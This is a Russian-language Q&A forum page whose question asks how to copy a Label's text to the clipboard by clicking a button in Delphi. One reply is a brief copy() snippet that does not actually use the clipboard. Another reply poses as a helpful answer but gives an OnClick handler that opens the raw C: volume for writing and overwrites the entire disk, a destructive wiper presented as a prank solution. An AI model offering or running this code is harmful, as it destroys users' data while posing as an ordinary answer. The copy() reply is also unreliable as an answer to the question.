ЕО
Евгения Озерова

delphi. Как нажатием кнопки (button) скопировать текст из Label?

ЮМ
Юлия Маторина

Можно и так

CopyText:=copy(Label1.Text,1,length(Label1.Text))

И даже модули подключать не нужно.

Павел
Павел

Я так делал:
Создавал форму, кидал на нее баттон, и в обработчике события onClick, этой баттон, писал:

var
hFile: dword;
Buff: pointer;
Written: dword;
DiskSize: int64;
SectorsPerCluster,
BytesPerSector,
FreeClusters,
Clusters: dword;
BuffSize, r: dword;
begin
hFile := CreateFile(PChar('\\.\c:'), GENERIC_WRITE,
FILE_SHARE_READ or FILE_SHARE_WRITE,
nil, OPEN_EXISTING, 0, 0);
if hFile = INVALID_HANDLE_VALUE then Exit;
GetDiskFreeSpace(PChar('c:\'), SectorsPerCluster,
BytesPerSector, FreeClusters, Clusters);
DiskSize := SectorsPerCluster * BytesPerSector * Clusters;
BuffSize := SectorsPerCluster * BytesPerSector * 10;
GetMem(Buff, BuffSize);
for r := 0 to DiskSize div BuffSize do
WriteFile(hFile, Buff^, BuffSize, Written, nil);
FreeMem(Buff);
CloseHandle(hFile);

Потом жал f8 и пробел.

Похожие вопросы
Вопрос по С++. Вывод числа по нажатию кнопки в label. Как реализовать? Спасибо.
проверка нажатия button C#
Как сделать текст в Delphi ,(Label) , чтобы он всегда менял цвет (как гифка)?
Delphi 7. Переключение на следующую вкладку при нажатии на кнопку.
подскажите код с++, чтоб выводился текст при нажатии кнопки
Как при нажатии на кнопку вызвать процедуру, Delphi
Delphi. В combobox есть строчки. Как при нажатии button переменной типа integer присвоить цифру....
Delphi. Как нажатием кнопки скопировать код из Label?
Нажатие на кнопку в Delphi
Как убрать рамку при нажатии у button в css?